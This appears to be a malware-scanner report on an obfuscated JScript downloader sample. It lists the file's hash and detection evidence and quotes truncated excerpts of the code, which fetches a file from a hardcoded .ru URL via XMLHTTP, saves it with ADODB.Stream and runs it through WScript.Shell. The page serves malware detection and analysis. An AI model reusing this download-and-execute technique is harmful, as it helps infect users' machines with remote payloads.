Suspicious ^80% javascript-malware-collection Download

20160328_9d13ec328efcf798ff0e44cc83f71f26.js

Obfuscated PowerShell download cradle

jQuery ajaxSettings markereval() executing transformed code

SHA-2566ae88a6f596dca342ceac42a4ed4e444275edfbe214dec13d91188b66a5d229a

Evidence

eval() with call expression argument line 1

1eval(readyList("getter%20%3D%20%28%22n%22%29%2C%20cacheURL%20%3D%20%28%22cr%22%29%2C%20html%20%3D%20%28%22File%22%29%2C%20Symbol%20%3D%20%28%22ext%22%29%2C%20className%20%3D%20%28%22pe%22%29%2C%20cache%20%3D%20%28%22http%3A%22%29%3Bdiv1%20%3D%20%28%22ate%22%29%3Bvar%20num%20%3D%20%28%22A3K6W%22%29%2C%20conv2%20%3D%20%28%22leep%22%29%2C%20toArray%20%3D%20%2859%29%3Bvar%20step%20%3D%20%28%22p%3A//%22%29%2C%20firstChild%20%3D%20%28%22doru.%22%29%2C%20rtagName%20%3D%20%28%22Shel%22%29%3Bvar%20overflow%20%3D%20%28%22XMLHT%22%29%2C%20dataTypes%20%3D%20%28%22viron%22%29%2C%20ajaxSetup%20%3D%20%28%22ct%22%29% …

Invokes zero-argument function at module scope lines 3–13

3:17… yle, content, dataTypeOrTransport, attributes, createTextNode);
4max();
5rnamespace(ajaxSetup, click, fragment);
6adown();
7all[adjustCSS + "od" + random] = ((34 - ontype));
8all["t" + isReady + "p" + random] = (21 / outermostContext);
9
10setMatcher(ajaxSettings, needsContext, p, funcName);
11
12function implementation() {
13				for (raw = ((0 & clientY) / (682 / ontype)); raw < addEventListener["l" + siblingCheck + "gth"]; raw+ …

Text has empty named-parameter catch lines 15–24

101… r[raw]);
										not(elementMatchers, toArray);
										Callbacks["se" + getter + "d"]();
										break;
						} catch (updateFunc) {
20
						}
		}
23
		while (Callbacks[param + "ySt" + div1] != ((Math.pow(3, emptyStyle) - 5) | (emptyStyle * 2))) groups["WScri" + qsaEr …

Obfuscated computed call cluster lines 26–39

36… ] == ((fragment * 2) * (hidden & 43) + (emptyStyle))) {
						all["o" + className + "n"]();
						all[addBack](Callbacks["respon" + onerror + "dy"]);
						groups[nextUntil + "ript"][isImmediatePropagationStopped + "lee" + rbracket](((4928 | click) & (191938 / createTextNode)));
						all["SaveTo" + html](code, ((19 - createCache) * (2 | emptyStyle)));
						stateString();
						preDispatch["R" + attributes](code);
		} else {
34
		}
36}
37
38function rnamespace() {
		src(readyList("addEventListener%20%3D%20%5B%22Msx%22%20+%20overrideMimeType%20+%20%22rver%22%20+%20overflow%20+%20%22TP.6%22%20+%20beforeunload%2C%20%22Msx%22%20+%20uda …

Hardcoded .ru country-TLD domain lines 51–69

51:272… 20%3D%3D%20funcName%29%29%3B"));
52}
53
54function setMatcher(anim) {
55				src(readyList("implementation%28%22htt%22%20+%20step%20+%20%22sla%22%20+%20innerText%20+%20%22u.ru%22%20+%20rootjQuery%20+%20%223K6W.%22%20+%20speed%29%3B"));
56}
57
58function adown() {
59				src(readyList("all%20%3D%20computed%5Bend%20+%20%22ipt%22%5D%5BleadingRelative%20+%20%22eOb%22%20+%20buildParams%5D%28%22ADODB.%22%20+%20setGlobalEval%20+%20%22eam%22%29%3B"));
60}
61
62function isWindow(uniqueID) {
63				src(readyList("preDispatch%20%3D%20groups%5B%22WSc%22%20+%20content%5D%5B%22Cre%22%20+%20Expr%20+%20%22ject%22%5D%28end%20+%20%22ipt.%22%20+%20rtagName%20+%20%22l%22%29%3B"));
64}
65
66function readyList(preventDefault) {
67				return unescape(preventDefault);
68}
69 